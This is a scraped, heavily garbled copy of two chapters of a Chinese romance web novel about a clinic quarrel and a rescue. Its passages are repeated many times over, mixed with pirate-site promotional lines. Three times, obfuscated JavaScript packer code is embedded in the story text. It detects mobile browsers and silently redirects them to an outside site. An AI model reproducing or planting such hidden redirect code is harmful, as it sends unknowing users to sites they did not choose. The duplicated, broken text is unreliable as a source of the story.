许树赶紧凑过去亲她。 一开始,林瑶还绷着脸,肩膀挺得直直的,可没一会儿,身子也渐渐靠在许树怀里。 五分钟后。 许树气喘吁吁地瘫在床上,胸口还在剧烈起伏,脸上泛着满足的红潮,眼睛半眯着,嘴角还挂着笑。 林瑶往他怀里缩了缩,手指在他胸口画着圈,带着点不满嘟囔。 “许树哥,你怎么时间越来越短了?你之前不是说,男人十分钟才是正常的吗?” 许树搂紧了她,声音还有些发虚。 “这两天不是没睡好吗,等我休息好了,一定……一定补偿你……” “好吧……” 林瑶轻轻哼了一声,算是应了。 两人刚收拾完,就听外面传来一声喊声,“医生呢!” 林瑶的脸一下子就沉了。 “又是周柒柒!肯定是带那个朱莹莹过来换药的!烦**!” 许树赶紧拍了拍她的背,哄道。 “我陪你一起去!这次我保证,目不斜视,就做你的小跟班,眼睛里啊,就你一个人,老婆~” 说着还掐了一下林瑶的屁股。 林瑶这才不情不愿地走了出去。 许树还真说到做到,整个换药的过程中,他真就一眼都没看周柒柒,而是帮着林瑶拿这拿那的。 当然,周柒柒更是一眼都没看他,全程注意力都在朱莹莹的伤口上面。 还好,昨天清理及时,伤口没有感染,但是还是得用生理盐水清洗,疼得莹莹冷汗都下来了。 洗完伤口,该涂药膏了,林瑶却到处找不到。 “昨天用完就放在这儿的啊,白铁小框里。” “今天早上不是又来了两个看病的吗,好像也用了那小框了,老婆,你别急,我帮你找找。” 许树献殷勤,四处找了起来,可是两个人一起找了半天,都没找着。 莹莹的伤口不能长时间暴露在外面,不然又要消毒。 周柒柒无奈,只得帮着满诊室的一起找了起来。 找着找着,找到了里头的小间,看到柜子上有一个小框,正准备伸手拿呢,却碰到一只油腻腻的爪子。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 。 “是我误会你了!瑶瑶!我跟你道歉你没生气吧?” 林瑶故意嘟着嘴把脸往旁边扭了扭明显还带着气。 “瑶瑶我错了……” 许树赶紧凑过去亲她。 一开始林瑶还绷着脸肩膀挺得直直的可没一会儿身子也渐渐靠在许树怀里。 五分钟后。 许树气喘吁吁地瘫在床上胸口还在剧烈起伏脸上泛着满足的红潮眼睛半眯着嘴角还挂着笑。 林瑶往他怀里缩了缩手指在他胸口画着圈带着点不满嘟囔。 “许树哥你怎么时间越来越短了?你之前不是说男人十分钟才是正常的吗?” 许树搂紧了她声音还有些发虚。 “这两天不是没睡好吗等我休息好了一定……一定补偿你……” “好吧……” 林瑶轻轻哼了一声算是应了。 两人刚收拾完就听外面传来一声喊声“医生呢!” 林瑶的脸一下子就沉了。 “又是周柒柒!肯定是带那个朱莹莹过来换药的!烦**!” 许树赶紧拍了拍她的背哄道。 “我陪你一起去!这次我保证目不斜视就做你的小跟班眼睛里啊就你一个人老婆~” 说着还掐了一下林瑶的屁股。 林瑶这才不情不愿地走了出去。 许树还真说到做到整个换药的过程中他真就一眼都没看周柒柒而是帮着林瑶拿这拿那的。 当然周柒柒更是一眼都没看他全程注意力都在朱莹莹的伤口上面。 还好昨天清理及时伤口没有感染但是还是得用生理盐水清洗疼得莹莹冷汗都下来了。 洗完伤口该涂药膏了林瑶却到处找不到。 “昨天用完就放在这儿的啊白铁小框里。” “今天早上不是又来了两个看病的吗好像也用了那小框了老婆 许树献殷勤四处找了起来可是两个人一起找了半天都没找着。 莹莹的伤口不能长时间暴露在外面不然又要消毒。 周柒柒无奈只得帮着满诊室的一起找了起来。 找着找着找到了里头的小间看到柜子上有一个小框正准备伸手拿呢却碰到一只油腻腻的爪子。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 。 “是我误会你了!瑶瑶!我跟你道歉,你没生气吧? 林瑶故意嘟着嘴,把脸往旁边扭了扭,明显还带着气。 “瑶瑶,我错了…… 许树赶紧凑过去亲她。 一开始,林瑶还绷着脸,肩膀挺得直直的,可没一会儿,身子也渐渐靠在许树怀里。 五分钟后。 许树气喘吁吁地瘫在床上,胸口还在剧烈起伏,脸上泛着满足的红潮,眼睛半眯着,嘴角还挂着笑。 林瑶往他怀里缩了缩,手指在他胸口画着圈,带着点不满嘟囔。 “许树哥,你怎么时间越来越短了?你之前不是说,男人十分钟才是正常的吗? 许树搂紧了她,声音还有些发虚。 “这两天不是没睡好吗,等我休息好了,一定……一定补偿你…… “好吧…… 林瑶轻轻哼了一声,算是应了。 两人刚收拾完,就听外面传来一声喊声,“医生呢! 林瑶的脸一下子就沉了。 “又是周柒柒!肯定是带那个朱莹莹过来换药的!烦**! 许树赶紧拍了拍她的背,哄道。 “我陪你一起去!这次我保证,目不斜视,就做你的小跟班,眼睛里啊,就你一个人,老婆~ 说着还掐了一下林瑶的屁股。 林瑶这才不情不愿地走了出去。 许树还真说到做到,整个换药的过程中,他真就一眼都没看周柒柒,而是帮着林瑶拿这拿那的。 当然,周柒柒更是一眼都没看他,全程注意力都在朱莹莹的伤口上面。 还好,昨天清理及时,伤口没有感染,但是还是得用生理盐水清洗,疼得莹莹冷汗都下来了。 洗完伤口,该涂药膏了,林瑶却到处找不到。 “昨天用完就放在这儿的啊,白铁小框里。 “今天早上不是又来了两个看病的吗,好像也用了那小框了,老婆,你别急,我帮你找找。 许树献殷勤,四处找了起来,可是两个人一起找了半天,都没找着。 莹莹的伤口不能长时间暴露在外面,不然又要消毒。 周柒柒无奈,只得帮着满诊室的一起找了起来。 找着找着,找到了里头的小间,看到柜子上有一个小框,正准备伸手拿呢,却碰到一只油腻腻的爪子。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 。 “是我误会你了!瑶瑶!我跟你道歉,你没生气吧?” 林瑶故意嘟着嘴,把脸往旁边扭了扭,明显还带着气。 “瑶瑶,我错了… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894063|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 许树赶紧凑过去亲她。 一开始,林瑶还绷着脸,肩膀挺得直直的,可没一会儿,身子也渐渐靠在许树怀里。 五分钟后。 许树气喘吁吁地瘫在床上,胸口还在剧烈起伏,脸上泛着满足的红潮,眼睛半眯着,嘴角还挂着笑。 林瑶往他怀里缩了缩,手指在他胸口画着圈,带着点不满嘟囔。 “许树哥,你怎么时间越来越短了?你之前不是说,男人十分钟才是正常的吗?” 许树搂紧了她,声音还有些发虚。 “这两天不是没睡好吗,等我休息好了,一定……一定补偿你……” “好吧……” 林瑶轻轻哼了一声,算是应了。 两人刚收拾完,就听外面传来一声喊声,“医生呢!” 林瑶的脸一下子就沉了。 “又是周柒柒!肯定是带那个朱莹莹过来换药的!烦**!” 许树赶紧拍了拍她的背,哄道。 “我陪你一起去!这次我保证,目不斜视,就做你的小跟班,眼睛里啊,就你一个人,老婆~” 说着还掐了一下林瑶的屁股。 林瑶这才不情不愿地走了出去。 许树还真说到做到,整个换药的过程中,他真就一眼都没看周柒柒,而是帮着林瑶拿这拿那的。 当然,周柒柒更是一眼都没看他,全程注意力都在朱莹莹的伤口上面。 还好,昨天清理及时,伤口没有感染,但是还是得用生理盐水清洗,疼得莹莹冷汗都下来了。 洗完伤口,该涂药膏了,林瑶却到处找不到。 “昨天用完就放在这儿的啊,白铁小框里。” “今天早上不是又来了两个看病的吗,好像也用了那小框了,老婆,你别急,我帮你找找。” 许树献殷勤,四处找了起来,可是两个人一起找了半天,都没找着。 莹莹的伤口不能长时间暴露在外面,不然又要消毒。 周柒柒无奈,只得帮着满诊室的一起找了起来。 找着找着,找到了里头的小间,看到柜子上有一个小框,正准备伸手拿呢,却碰到一只油腻腻的爪子。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 。 “是我误会你了!瑶瑶!我跟你道歉,你没生气吧?” 林瑶故意嘟着嘴,把脸往旁边扭了扭,明显还带着气。 “瑶瑶,我错了……” 许树赶紧凑过去亲她。 一开始,林瑶还绷着脸,肩膀挺得直直的,可没一会儿,身子也渐渐靠在许树怀里。 五分钟后。 许树气喘吁吁地瘫在床上,胸口还在剧烈起伏,脸上泛着满足的红潮,眼睛半眯着,嘴角还挂着笑。 林瑶往他怀里缩了缩,手指在他胸口画着圈,带着点不满嘟囔。 “许树哥,你怎么时间越来越短了?你之前不是说,男人十分钟才是正常的吗?” 许树搂紧了她,声音还有些发虚。 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许树还真说到做到,整个换药的过程中,他真就一眼都没看周柒柒,而是帮着林瑶拿这拿那的。 当然,周柒柒更是一眼都没看他,全程注意力都在朱莹莹的伤口上面。 还好,昨天清理及时,伤口没有感染,但是还是得用生理盐水清洗,疼得莹莹冷汗都下来了。 洗完伤口,该涂药膏了,林瑶却到处找不到。 “昨天用完就放在这儿的啊,白铁小框里。” “今天早上不是又来了两个看病的吗,好像也用了那小框了,老婆,你别急,我帮你找找。” 许树献殷勤,四处找了起来,可是两个人一起找了半天,都没找着。 莹莹的伤口不能长时间暴露在外面,不然又要消毒。 周柒柒无奈,只得帮着满诊室的一起找了起来。 找着找着,找到了里头的小间,看到柜子上有一个小框,正准备伸手拿呢,却碰到一只油腻腻的爪子。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第177章 咱俩的私事儿还没了呢 周柒柒心里头就惦记着那个白铁小药框,脑子里除了它再没别的,连许树啥时候悄没声儿溜进这小隔间都没察觉。 这好不容易找着了,她伸手过去,指尖刚挨着药框冰凉的边缘,冷不丁就撞上了另一只手。 那手上腻乎乎的,周柒柒浑身一激灵,也没顾上看是谁,条件反射似的把手缩了回来。 扭头一看才发现,来人竟然是许树。 周柒柒三个月她没断过羊奶擦手,原先干枯的手,如今摸上去又白又嫩,泛着淡淡的粉,透着股子水润劲儿。 许树僵在原地没动,手还悬在半空。 刚才那温软滑腻的触感像是生了根,顺着指尖往心里钻。 鼻尖还萦绕着一股若有似无的香气。 不同于林瑶身上那股子呛人的香水味,是淡淡的奶甜味儿,清清爽爽的,勾得人心头发痒。 他那双总像蒙着层水汽的桃花眼直勾勾盯着周柒柒。 手不听使唤地朝着周柒柒的脸蛋探过去,声音拖得黏糊糊的。 “柒柒~你.” 周柒柒听着这调调就膈应得慌,感觉跟牛郎似的,又看他爪子伸过来,赶紧躲。 可这隔间就巴掌大的地方,后脚跟都快贴着墙了,躲是躲不开。 她抬手“啪”一下就把那只伸过来的爪子打掉,力道不轻不重,却带着十足的嫌恶。 “你们两个在做什么?” 话音刚落,隔间的布帘子“哗啦”一声被掀开,林瑶叉着腰站在门口,脸拉得老长。 她没瞧见许树伸手的前情,只瞅见周柒柒的手挨着许树,顿时就炸了**。 “周柒柒,你个小狐狸精,你敢勾引我老公!” 柒柒被她这不分青红皂白的架势气笑了,扬着下巴回嘴。 “我?勾引他?我又没瞎!是他自己跟没拴住的公狗似的随地发情!” 说着就从药框里掏出那管药膏,往林瑶跟前递了递。 “是不是这支?是的话赶紧拿回去给莹莹上药包扎,再磨蹭我直接找你们领导投诉!” “你!” 林瑶气得脸都红了,刚想发作,胳膊却被许树拽了一把。 她瞪了许树一眼,把到了嘴边的话又咽了回去,不情不愿地瞥了 眼药膏,闷闷地点了点头。 周柒柒拿着药膏转身就往隔间外走,刚到门口就听见身后传来林瑶扯着嗓子训人的声音,夹杂着许树低声下气的辩解。 林瑶在后头不依不饶,伸手就拧住了许树的耳朵,力道大得能拧下来一块儿肉。 “她刚才说啥?是你主动勾搭她的?” 许树眼里飞快地闪过一丝不耐烦,快得让人抓不住,随即又换上那副雾蒙蒙的眼神,深情款款地望着林瑶。 “我的人品你还不清楚?我怎么可能做那事!刚才你也看见了,是她主动碰我的,我连正眼都没瞧她一下。瑶瑶,你可得信我啊。” 林瑶心里头犯嘀咕,没周柒柒的时候,许树眼里明明只有她一个,可自从这女人冒出来。 许树像是变了个人似的,陌生得让她心慌。 想起昨天见到的那个冷冰冰的许树,她更是坐立不安,却不敢往深了想。 只一股脑把怨气都撒到了周柒柒身上,恶狠狠地啐了一口:“这个小狐狸精!” 骂归骂,她也不敢真丢了工作,悻悻地回了前屋,给朱莹莹上了药。 包扎完,周柒柒掏出钱付了账,扶着朱莹莹就往外走。 走到卫生所门口的小树林,就听见林瑶拿着收费单在门口高喊一声。 “哎,少算了两分钱!回来补一下!” 朱莹莹一听,立马就要转身回去,周柒柒按住她的胳膊:“你在这儿等着,我去就行。” 她折回去几步,见林瑶已经不在门口了,正坐在里间办公室的木桌前低头写着什么。 周柒柒走过去把两分钱往桌上一放,转身就要走,却被林瑶喊住了。 “等一下!还没完呢。” 周柒柒以为账又算错了,皱了皱眉,转过了身,心里头有些不耐烦。 林瑶“嚯”地站起来,几步走到门口,伸手就把门板挡住了,下巴抬得老高,一副趾高气扬的样子。 “治疗的单子算完了,咱俩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周柒柒看着那红印子,只觉得眼睛都要长针眼了,恶心地胃里一阵翻腾,一把用力把她推开就要走。 她力道其实没怎么用大,目的也就是为了把林瑶推开,让她别再纠缠。 林瑶踉跄了一下,站稳了脚跟,其实压根儿没啥事儿。 周柒柒没再理她,径直就准备走出卫生所的大门,只想赶紧离开这儿。 这时,许树从屋里出来了,他刚才在屋里大概是听到了动静。 第178章 淮……淮川? 林瑶眼珠子“滴溜”一转,心里头立马有了主意,身子一软,径直就倒在了地上,那动作快得跟排练过似的。 指着周柒柒,声音瞬间变得娇声娇气的,还带着哭腔,像是受了天大的委屈。 “许树哥,她她推我!” 许树立马快步走过去,一把将林瑶扶起来,然后快步走到了周柒柒面前,语气里满是怒火。 “周柒柒,你干什么?你太过分了你!瑶瑶招你惹你了,你平白无故推她做什么!” 许枣儿也从屋子里出来了,扶着林瑶走到周柒柒面前,咄咄逼人道。 “周柒柒,你现在有别的男人了,翅膀就硬了!还敢推人了你!马上跟我嫂子道歉!” 周柒柒懒得搭理这兄妹俩,跟她们多说一句都是白费口舌。 更何况她一个人,真要闹起来肯定讨不着好。 她往后退了半步,拔腿就想走。 许树和许枣俩人刚才一起在屋里看汇款单呢,这会儿都把林瑶放在心尖尖上,可不许人欺负她,一左一右拦着不让她走。 许树往前逼了两步,伸手就往周柒柒肩膀上推,“我让你给瑶瑶道歉!听见没有!” 周柒柒被他推得往后踉跄了两步,后腰都快撞到墙根了。 林瑶在许枣儿身后偷偷勾了勾嘴角,趁人不注意,脚尖往墙根一扫,那把扎着红布条的扫帚“哗啦”一声就倒在了地上。 周柒柒正往后退着稳重心,脚底板却碰到了扫帚杆,整个人不受控制地往后仰! “啊——!” 那一瞬间天旋地转,周柒柒只来得及短促地喊了一声。 时间仿佛在那一刻凝固。 许枣和林瑶的脸上闪过一丝幸灾乐祸。 许树下意识想上前一步,却又顿住了脚。 周柒柒闭紧眼睛,心都提到了嗓子眼,这后脑勺要是磕在水泥地上,肯定很疼。 就在这千钧一发的功夫,一道高大、迅捷如猎豹般的黑影忽然出现在她身后。 那黑影长臂一揽,将周柒柒稳稳地、牢牢地她捞进了自己坚实的怀抱中国! 周柒柒惊魂未定,只觉得天旋地转之后,撞进了一个无比熟悉又让她瞬间心安的胸膛。 那混合着汗味、泥土青草气 息和淡淡皂角香的独特味道,霸道地钻入她的鼻腔,瞬间驱散了所有的不安。 她慢慢抬起头,撞进一双深不见底的眼睛里。 那双眼睛此刻锐利如刀锋,目光扫过她发白的脸,里头翻涌着的火气几乎要喷出来。 可在对上她眼神的那一刻,又硬生生压了回去,只剩下紧抿的嘴角和眼底藏不住的心疼。 “淮……淮川? 周柒柒的声音有点发飘,带着点不敢相信的颤音。 沈淮川没说话,只是胳膊收得更紧了些,把她往怀里又带了带,那力道像是要把她揉进骨血里似的。 周柒柒刚才被许家人围着,心里头憋着气,可却没觉得怎么样。 毕竟这些年,她早就习惯了一个人面对所有的糟心事,再难的坎儿也都是自己扛过来的。 但是现在沈淮川忽然出现,她那紧绷的神经像是被人轻轻拨了一下,莫名就觉得松了一口气,鼻子一酸,眼眶就红了。 好似她可以暂时歇一歇,终于有了个能挡风遮雨的港湾。 两人就这么对望着,彼此眼中浓浓的思念,化都化不开。 “柒柒,你没事吧? 旁边传来一声着急的喊声,周柒柒这才回过神,转头一看,朱莹莹正一瘸一拐地往这边挪。 沈淮川低头看了看怀里的人,喉结动了动,才慢慢松开胳膊,声音压得低低的。 “你先过去,这边我来处理。 周柒柒点了点头,有沈淮川在,她心里头踏实得很,转身就朝着朱莹莹跑过去。 还不忘回头叮嘱,“你别动手。 沈淮川眼里压抑的怒火她看得一清二楚,跟要**似的,万一真动起手来,打出个好歹可就不好了。 沈淮川没应,只是那双眼睛慢慢转过去,落在许树、许枣儿和林瑶身上。 那目光冰冷、沉静,却带着一种战场上淬炼出来的、令人窒息的压迫感。 林瑶被他这么一看,刚才那点嚣张气焰立马跟被泼了冷水似的,“嗖地一下就没了,赶紧往许树身后缩。 许树咽了口唾沫,硬着头皮挤出点笑,搓着手解释。 “那啥.柒柒她自己踩着扫帚摔了,我们正打算扶她呢. 话还没说完, 沈淮川小腿肌肉瞬间绷紧抬脚勾了勾地上的扫帚脚尖轻轻一挑脚踝猛地向上一抖随意地一旋、一踢—— 那根带着红布条的扫帚杆就跟长了眼睛似的“呼”地一下朝着许树飞过去。 整个过程快如电光火石从脚尖触碰到扫帚飞射而出不过眨眼之间流畅得没有一丝多余动作。 许树脸上的谄笑甚至还没来得及完全褪去嘴巴还滑稽地半张着。 冷不防就被扫帚杆砸到了这一下看着不重但却正砸在胸骨正下方最柔软的位置也就是心窝子上。 他哎哟”一声闷哼往后踉跄了好几步“噗通”摔在地上捂着胸口疼得龇牙咧嘴额头都冒冷汗了半天没爬起来嘴里还哼哼唧唧的。 踢完这一下沈淮川看也没看地上的人转身就走了。 连背影都带着股生人勿近的寒气。 林瑶被吓得愣在原地半天没敢动弹。 直到沈淮川的背影消失在拐角她才深吸了一口气赶紧挪到一直哼哼唧唧的许树边上。 “许树哥你没事吧?” 许树捂着胸口疼得脸都白了:“我不行了太疼了我心好像碎了。” 他喘了口气又赶紧补充道“不是那个心碎是真的碎了!你快帮我看看。” “哦” 林瑶慌得手忙脚乱想把许树扶到旁边的诊室去看看可她那点力气怎么也扶不动。 许树自己又腿软也使不上劲儿俩人在地上折腾了半天。 “许枣!快过来帮你嫂子的忙!愣着干什么呢!” 许树疼得直吸气朝着旁边喊了好几声。 许枣儿还望着沈淮川离去的方向出神呢那眼神直勾勾的嘴角还带着点傻笑口水都快流出来了。 许树喊了好几声她都没反应。 还是林瑶急得过去扯了她一把 说的域名caixs⒗(请来才小 说 看最新章节 完整章节)她才猛地回过神“啊?咋了?” 赶紧过去搭手帮忙。 你的朋友正在书荒,快去帮帮他吧 沈淮川小腿肌肉瞬间绷紧,抬脚勾了勾地上的扫帚,脚尖轻轻一挑,脚踝猛地向上一抖,随意地一旋、一踢—— 那根带着红布条的扫帚杆就跟长了眼睛似的,“呼”地一下朝着许树飞过去。 整个过程快如电光火石,从脚尖触碰到扫帚飞射而出,不过眨眼之间,流畅得没有一丝多余动作。 许树脸上的谄笑甚至还没来得及完全褪去,嘴巴还滑稽地半张着。 冷不防就被扫帚杆砸到了,这一下看着不重,但却正砸在胸骨正下方最柔软的位置,也就是心窝子上。 他哎哟”一声闷哼,往后踉跄了好几步,“噗通”摔在地上,捂着胸口疼得龇牙咧嘴,额头都冒冷汗了,半天没爬起来,嘴里还哼哼唧唧的。 踢完这一下,沈淮川看也没看地上的人,转身就走了。 连背影都带着股生人勿近的寒气。 林瑶被吓得愣在原地,半天没敢动弹。 直到沈淮川的背影消失在拐角,她才深吸了一口气,赶紧挪到一直哼哼唧唧的许树边上。 “许树哥,你没事吧?” 许树捂着胸口,疼得脸都白了:“我不行了,太疼了,我心好像碎了。” 他喘了口气,又赶紧补充道,“不是那个心碎,是真的碎了!你快帮我看看。” “哦” 林瑶慌得手忙脚乱,想把许树扶到旁边的诊室去看看,可她那点力气,怎么也扶不动。 许树自己又腿软,也使不上劲儿,俩人在地上折腾了半天。 “许枣!快过来帮你嫂子的忙!愣着干什么呢!” 许树疼得直吸气,朝着旁边喊了好几声。 许枣儿还望着沈淮川离去的方向出神呢,那眼神直勾勾的,嘴角还带着点傻笑,口水都快流出来了。 许树喊了好几声,她都没反应。 还是林瑶急得过去扯了她一把,她才猛地回过神,“啊?咋了?” 赶紧过去搭手帮忙。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 沈淮川小腿肌肉瞬间绷紧,抬脚勾了勾地上的扫帚,脚尖轻轻一挑,脚踝猛地向上一抖,随意地一旋、一踢—— 那根带着红布条的扫帚杆就跟长了眼睛似的,“呼地一下朝着许树飞过去。 整个过程快如电光火石,从脚尖触碰到扫帚飞射而出,不过眨眼之间,流畅得没有一丝多余动作。 许树脸上的谄笑甚至还没来得及完全褪去,嘴巴还滑稽地半张着。 冷不防就被扫帚杆砸到了,这一下看着不重,但却正砸在胸骨正下方最柔软的位置,也就是心窝子上。 他哎哟一声闷哼,往后踉跄了好几步,“噗通摔在地上,捂着胸口疼得龇牙咧嘴,额头都冒冷汗了,半天没爬起来,嘴里还哼哼唧唧的。 踢完这一下,沈淮川看也没看地上的人,转身就走了。 连背影都带着股生人勿近的寒气。 林瑶被吓得愣在原地,半天没敢动弹。 直到沈淮川的背影消失在拐角,她才深吸了一口气,赶紧挪到一直哼哼唧唧的许树边上。 “许树哥,你没事吧? 许树捂着胸口,疼得脸都白了:“我不行了,太疼了,我心好像碎了。 他喘了口气,又赶紧补充道,“不是那个心碎,是真的碎了!你快帮我看看。 “哦 林瑶慌得手忙脚乱,想把许树扶到旁边的诊室去看看,可她那点力气,怎么也扶不动。 许树自己又腿软,也使不上劲儿,俩人在地上折腾了半天。 “许枣!快过来帮你嫂子的忙!愣着干什么呢! 许树疼得直吸气,朝着旁边喊了好几声。 许枣儿还望着沈淮川离去的方向出神呢,那眼神直勾勾的,嘴角还带着点傻笑,口水都快流出来了。 许树喊了好几声,她都没反应。 还是林瑶急得过去扯了她一把,她才猛地回过神,“啊?咋了? 赶紧过去搭手帮忙。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 沈淮川小腿肌肉瞬间绷紧,抬脚勾了勾地上的扫帚,脚尖轻轻一挑,脚踝猛地向上一抖,随意地一旋、一踢—— 那根带着红布条的扫帚杆就跟长了眼睛似的,“呼”地一下朝着许树飞过去。 整个过程快如电光火石,从脚尖触碰到扫帚飞射而出,不过眨眼之间,流畅得没有一丝多余动作。 许树脸上的谄笑甚至还没来得及完全褪去,嘴巴还滑稽地半张着。 冷不防就被扫帚杆砸到了,这一下看着不重,但却正砸在胸骨正下方最柔软的位置,也就是心窝子上。 他哎哟”一声闷哼,往后踉跄了好几步,“噗通”摔在地上,捂着胸口疼得龇牙咧嘴,额头都冒冷汗了,半天没爬起来,嘴里还哼哼唧唧的。 踢完这一下,沈淮川看也没看地上的人,转身就走了。 连背影都带着股生人勿近的寒气。 林瑶被吓得愣在原地,半天没敢动弹。 直到沈淮川的背影消失在拐角,她才深吸了一口气,赶紧挪到一直哼哼唧唧的许树边上。 “许树哥,你没事吧?” 许树捂着胸口,疼得脸都白了:“我不行了,太疼了,我心好像碎了。” 他喘了口气,又赶紧补充道,“不是那个心碎,是真的碎了!你快帮我看看。” “哦” 林瑶慌得手忙脚乱,想把许树扶到旁边的诊室去看看,可她那点力气,怎么也扶不动。 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节) 许树自己又腿软,也使不上劲儿,俩人在地上折腾了半天。 “许枣!快过来帮你嫂子的忙!愣着干什么呢!” 许树疼得直吸气,朝着旁边喊了好几声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896072|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>许枣儿还望着沈淮川离去的方向出神呢,那眼神直勾勾的,嘴角还带着点傻笑,口水都快流出来了。 许树喊了好几声,她都没反应。 还是林瑶急得过去扯了她一把,她才猛地回过神,“啊?咋了?” 赶紧过去搭手帮忙。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 沈淮川小腿肌肉瞬间绷紧抬脚勾了勾地上的扫帚脚尖轻轻一挑脚踝猛地向上一抖随意地一旋、一踢—— 那根带着红布条的扫帚杆就跟长了眼睛似的“呼”地一下朝着许树飞过去。 整个过程快如电光火石从脚尖触碰到扫帚飞射而出不过眨眼之间流畅得没有一丝多余动作。 许树脸上的谄笑甚至还没来得及完全褪去嘴巴还滑稽地半张着。 冷不防就被扫帚杆砸到了这一下看着不重但却正砸在胸骨正下方最柔软的位置也就是心窝子上。 他哎哟”一声闷哼往后踉跄了好几步“噗通”摔在地上捂着胸口疼得龇牙咧嘴额头都冒冷汗了半天没爬起来嘴里还哼哼唧唧的。 踢完这一下沈淮川看也没看地上的人 连背影都带着股生人勿近的寒气。 林瑶被吓得愣在原地半天没敢动弹。 直到沈淮川的背影消失在拐角她才深吸了一口气赶紧挪到一直哼哼唧唧的许树边上。 “许树哥你没事吧?” 许树捂着胸口疼得脸都白了:“我不行了太疼了我心好像碎了。” 他喘了口气又赶紧补充道“不是那个心碎是真的碎了!你快帮我看看。” “哦” 林瑶慌得手忙脚乱想把许树扶到旁边的诊室去看看可她那点力气怎么也扶不动。 许树自己又腿软也使不上劲儿俩人在地上折腾了半天。 “许枣!快过来帮你嫂子的忙!愣着干什么呢!” 许树疼得直吸气朝着旁边喊了好几声。 许枣儿还望着沈淮川离去的方向出神呢那眼神直勾勾的嘴角还带着点傻笑口水都快流出来了。 许树喊了好几声她都没反应。 还是林瑶急得过去扯了她一把她才猛地回过神“啊?咋了?” 赶紧过去搭手帮忙。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 沈淮川小腿肌肉瞬间绷紧抬脚勾了勾地上的扫帚脚尖轻轻一挑脚踝猛地向上一抖随意地一旋、一踢—— 那根带着红布条的扫帚杆就跟长了眼睛似的“呼”地一下朝着许树飞过去。 整个过程快如电光火石 许树脸上的谄笑甚至还没来得及完全褪去嘴巴还滑稽地半张着。 冷不防就被扫帚杆砸到了这一下看着不重但却正砸在胸骨正下方最柔软的位置也就是心窝子上。 他哎哟”一声闷哼往后踉跄了好几步“噗通”摔在地上捂着胸口疼得龇牙咧嘴额头都冒冷汗了半天没爬起来嘴里还哼哼唧唧的。 踢完这一下沈淮川看也没看地上的人转身就走了。 连背影都带着股生人勿近的寒气。 林瑶被吓得愣在原地半天没敢动弹。 直到沈淮川的背影消失在拐角她才深吸了一口气赶紧挪到一直哼哼唧唧的许树边上。 “许树哥你没事吧?” 许树捂着胸口疼得脸都白了:“我不行了太疼了我心好像碎了。” 他喘了口气又赶紧补充道“不是那个心碎是真的碎了!你快帮我看看。” “哦” 林瑶慌得手忙脚乱想把许树扶到旁边的诊室去看看可她那点力气怎么也扶不动。 许树自己又腿软也使不上劲儿俩人在地上折腾了半天。 “许枣!快过来帮你嫂子的忙!愣着干什么呢!” 许树疼得直吸气朝着旁边喊了好几声。 许枣儿还望着沈淮川离去的方向出神呢那眼神直勾勾的嘴角还带着点傻笑口水都快流出来了。 许树喊了好几声她都没反应。 还是林瑶急得过去扯了她一把她才猛地回过神“啊?咋了?” 赶紧过去搭手帮忙。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 沈淮川小腿肌肉瞬间绷紧,抬脚勾了勾地上的扫帚,脚尖轻轻一挑,脚踝猛地向上一抖,随意地一旋、一踢—— 那根带着红布条的扫帚杆就跟长了眼睛似的,“呼”地一下朝着许树飞过去。 整个过程快如电光火石,从脚尖触碰到扫帚飞射而出,不过眨眼之间,流畅得没有一丝多余动作。 许树脸上的谄笑甚至还没来得及完全褪去,嘴巴还滑稽地半张着。 冷不防就被扫帚杆砸到了,这一下看着不重,但却正砸在胸骨正下方最柔软的位置,也就是心窝子上。 他哎哟”一声闷哼,往后踉跄了好几步,“噗通”摔在地上,捂着胸口疼得龇牙咧嘴,额头都冒冷汗了,半天没爬起来,嘴里还哼哼唧唧的。 踢完这一下,沈淮川看也没看地上的人,转身就走了。 连背影都带着股生人勿近的寒气。 林瑶被吓得愣在原地,半天没敢动弹。 直到沈淮川的背影消失在拐角,她才深吸了一口气,赶紧挪到一直哼哼唧唧的许树边上。 “许树哥,你没事吧?” 许树捂着胸口,疼得脸都白了:“我不行了,太疼了,我心好像碎了。” 他喘了口气,又赶紧补充道,“不是那个心碎,是真的碎了!你快帮我看看。” “哦” 林瑶慌得手忙脚乱,想把许树扶到旁边的诊室去看看,可她那点力气,怎么也扶不动。 许树自己又腿软,也使不上劲儿,俩人在地上折腾了半天。 “许枣!快过来帮你嫂子的忙!愣着干什么呢!” 许树疼得直吸气,朝着旁边喊了好几声。 